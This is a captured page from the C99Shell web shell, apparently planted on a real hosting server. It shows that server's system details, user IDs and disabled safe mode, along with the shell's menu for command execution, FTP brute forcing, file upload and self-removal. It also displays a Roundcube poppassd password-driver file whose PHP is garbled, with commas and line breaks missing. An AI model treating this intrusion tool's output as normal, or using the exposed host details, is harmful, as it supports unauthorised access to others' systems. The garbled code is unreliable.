!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/usr/share/roundcube/plugins/password/drivers/   drwxr-xr-x
Free 1.43 GB of 7.22 GB (19.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     poppassd.php (2.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Poppassd Password Driver
 *
 * Driver to change passwords via Poppassd/Courierpassd
 *
 * @version 2.0
 * @author Philip Weir
 *
 */

class rcube_poppassd_password
{
    function 
format_error_result($code$line)
    {
        if (
preg_match('/^\d\d\d\s+(\S.*)\s*$/'$line$matches)) {
            return array(
'code' => $code'message' => $matches[1]);
        } else {
            return 
$code;
        }
    }

    function 
save($curpass$passwd)
    {
        
$rcmail rcmail::get_instance();
//    include('Net/Socket.php');
        
$poppassd = new Net_Socket();

        
$result $poppassd->connect($rcmail->config->get('password_pop_host'), $rcmail->config->get('password_pop_port'), null);
        if (
PEAR::isError($result)) {
            return 
$this->format_error_result(PASSWORD_CONNECT_ERROR$result->getMessage());
        }
        else {
            
$result $poppassd->readLine();
            if(!
preg_match('/^2\d\d/'$result)) {
                
$poppassd->disconnect();
                return 
$this->format_error_result(PASSWORD_ERROR$result);
            }
            else {
                
$poppassd->writeLine("user "$_SESSION['username']);
                
$result $poppassd->readLine();
                if(!
preg_match('/^[23]\d\d/'$result) ) {
                    
$poppassd->disconnect();
                    return 
$this->format_error_result(PASSWORD_CONNECT_ERROR$result);
                }
                else {
                    
$poppassd->writeLine("pass "$curpass);
                    
$result $poppassd->readLine();
                    if(!
preg_match('/^[23]\d\d/'$result) ) {
                        
$poppassd->disconnect();
                        return 
$this->format_error_result(PASSWORD_ERROR$result);
                    }
                    else {
                        
$poppassd->writeLine("newpass "$passwd);
                        
$result $poppassd->readLine();
                        
$poppassd->disconnect();
                        if (!
preg_match('/^2\d\d/'$result))
                            return 
$this->format_error_result(PASSWORD_ERROR$result);
                        else
                            return 
PASSWORD_SUCCESS;
                    }
                }
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0385 ]--